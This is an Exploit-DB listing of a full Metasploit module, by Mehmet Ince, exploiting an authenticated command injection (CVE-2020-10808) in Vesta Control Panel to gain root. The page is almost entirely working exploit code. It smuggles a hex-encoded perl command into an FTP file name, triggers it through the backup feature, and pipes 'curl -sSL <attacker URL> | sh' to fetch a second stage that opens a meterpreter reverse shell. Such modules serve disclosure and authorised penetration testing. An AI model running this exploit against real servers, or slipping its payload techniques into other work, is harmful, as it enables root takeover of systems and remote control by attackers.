Vesta Control Panel 0.9.8-26 – Authenticated Remote Code Execution (Metasploit)

  • 作者: Mehmet Ince
    日期: 2020-04-06
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/48294/
  • ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
    Rank = ExcellentRanking
    
    include Msf::Exploit::Remote::Ftp
    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::Remote::HttpServer
    
    def initialize(info={})
    super(update_info(info,
    'Name' => "Vesta Control Panel Authenticated Remote Code Execution",
    'Description'=> %q{
    This module exploits command injection vulnerability in v-list-user-backups bash script file.
    Low privileged authenticated users can execute arbitrary commands under the context of the root user.
    
    An authenticated attacker with a low privileges can inject a payload in the file name starts with dot.
    During the user backup process, this file name will be evaluated by the v-user-backup bash scripts. As
    result of that backup process, when an attacker try to list existing backups injected payload will be
    executed.
    },
    'License'=> MSF_LICENSE,
    'Author' =>
    [
    'Mehmet Ince <mehmet@mehmetince.net>' # author & msf module
    ],
    'References' =>
    [
    ['URL', 'https://pentest.blog/vesta-control-panel-second-order-remote-code-execution-0day-step-by-step-analysis/'],
    ['CVE', '2020-10808']
    ],
    'DefaultOptions'=>
    {
    'SSL' => true,
    'RPORT' => 8083,
    'WfsDelay' => 300,
    'Payload' => 'python/meterpreter/reverse_tcp'
    },
    'Platform' => ['python'],
    'Arch' => ARCH_PYTHON,
    'Targets'=> [[ 'Automatic', { }]],
    'Privileged' => false,
    'DisclosureDate' => "Mar 17 2020",
    'DefaultTarget'=> 0
    ))
    
    register_options(
    [
    Opt::RPORT(8083),
    OptString.new('USERNAME', [true, 'The username to login as']),
    OptString.new('PASSWORD', [true, 'The password to login with']),
    OptString.new('TARGETURI', [true, 'The URI of the vulnerable instance', '/'])
    ]
    )
    deregister_options('FTPUSER', 'FTPPASS')
    end
    
    def username
    datastore['USERNAME']
    end
    
    def password
    datastore['PASSWORD']
    end
    
    def login
    #
    # This is very simple login process. Nothing important.
    # We will be using cookie and csrf_token across the module so that we are global variable.
    #
    print_status('Retrieving cookie and csrf token values')
    res = send_request_cgi({
    'method' => 'GET',
    'uri' => normalize_uri(target_uri.path, 'login', '/'),
    })
    
    if res && res.code == 200 && !res.get_cookies.empty?
    @cookie = res.get_cookies
    @csrf_token = res.body.scan(/<input type="hidden" name="token" value="(.*)">/).flatten[0] || ''
    if @csrf_token.empty?
    fail_with(Failure::Unknown, 'There is no CSRF token at HTTP response.')
    end
    else
    fail_with(Failure::Unknown, 'Something went wrong.')
    end
    print_good('Cookie and CSRF token values successfully retrieved')
    
    print_status('Authenticating to HTTP Service with given credentials')
    res = send_request_cgi({
    'method' => 'POST',
    'uri' => normalize_uri(target_uri.path, 'login', '/'),
    'cookie' => @cookie,
    'vars_post' => {
    'token'=> @csrf_token,
    'user' => username,
    'password' => password
    }
    })
    
    if res && res.code == 302 && !res.get_cookies.empty?
    print_good('Successfully authenticated to the HTTP Service')
    @cookie = res.get_cookies
    else
    fail_with(Failure::Unknown, 'Credentials are not valid.')
    end
    end
    
    def is_scheduled_backup_running
    res = trigger_scheduled_backup
    #
    # MORE explaination.
    #
    if res && res.code == 302
    res = trigger_payload
    if res.body.include?('An existing backup is already running. Please wait for that backup to finish.')
    return true
    else
    print_good('It seems scheduled backup is done ..! Triggerring payload <3')
    return false
    end
    else
    fail_with(Failure::Unknown, 'Something went wrong. Did you get your session ?')
    end
    return false
    end
    
    def trigger_payload
    res = send_request_cgi({
    'method' => 'GET',
    'cookie' => @cookie,
    'uri' => normalize_uri(target_uri.path, 'list', 'backup', '/'),
    })
    if res && res.code == 200
    res
    else
    fail_with(Failure::Unknown, 'Something went wrong. Maybe session timed out ?')
    end
    end
    
    def trigger_scheduled_backup
    res = send_request_cgi({
    'method' => 'GET',
    'cookie' => @cookie,
    'uri' => normalize_uri(target_uri.path, 'schedule', 'backup', '/'),
    })
    if res && res.code == 302 && res.headers['Location'] =~ /\/list\/backup\//
    res
    else
    fail_with(Failure::Unknown, 'Something went wrong.')
    end
    end
    
    def payload_implant
    #
    # Our payload will be placed as a file name on FTP service.
    # Payload lenght can't be more then 255 and SPACE can't be used because of the
    # bug in the backend software. Due to these limitations, I used web delivery method.
    #
    # When the initial payload executed. It will execute very short perl command, which is going to fetch
    # actual python meterpreter first stager and execute it.
    #
    final_payload = "curl -sSL #{@second_stage_url} | sh".to_s.unpack("H*").first
    p = "perl${IFS}-e${IFS}'system(pack(qq,H#{final_payload.length},,qq,#{final_payload},))'"
    
    # Yet another datastore variable overriding.
    if datastore['SSL']
    ssl_restore = true
    datastore['SSL'] = false
    end
    port_restore = datastore['RPORT']
    datastore['RPORT'] = 21
    datastore['FTPUSER'] = username
    datastore['FTPPASS'] = password
    
    #
    # Connecting to the FTP service with same creds as web ui.
    # Implanting the very first stage of payload as a empty file.
    #
    if (not connect_login)
    fail_with(Failure::Unknown, 'Unable to authenticate to FTP service')
    end
    print_good('Successfully authenticated to the FTP service')
    
    res = send_cmd_data(['PUT', ".a';$(#{p});'"], "")
    if res.nil?
    fail_with(Failure::UnexpectedReply, "Failed to upload the payload to FTP server")
    end
    print_good('Successfully uploaded the payload as a file name')
    disconnect
    
    # Revert datastore variables.
    datastore['RPORT'] = port_restore
    datastore['SSL'] = true if ssl_restore
    end
    
    def exploit
    start_http_server
    payload_implant
    login
    trigger_scheduled_backup
    print_good('Scheduled backup has ben started. Exploitation may take up to 5 minutes.')
    while is_scheduled_backup_running == true
    print_status('It seems there is an active backup process ! Recheck after 30 second. Zzzzzz...')
    Rex.sleep(30)
    end
    stop_service
    end
    
    def on_request_uri(cli, request)
    print_good('First stage is executed ! Sending 2nd stage of the payload')
    second_stage = "python -c \"#{payload.encoded}\""
    send_response(cli, second_stage, {'Content-Type'=>'text/html'})
    end
    
    def start_http_server
    #
    # HttpClient and HttpServer use same SSL variable :(
    # We don't need a SSL for payload delivery.
    #
    if datastore['SSL']
    ssl_restore = true
    datastore['SSL'] = false
    end
    start_service({'Uri' => {
    'Proc' => Proc.new { |cli, req|
    on_request_uri(cli, req)
    },
    'Path' => resource_uri
    }})
    print_status("Second payload download URI is #{get_uri}")
    # We need that global variable since get_uri keep using SSL from datastore
    # We have to get the URI before restoring the SSL.
    @second_stage_url = get_uri
    datastore['SSL'] = true if ssl_restore
    end
    end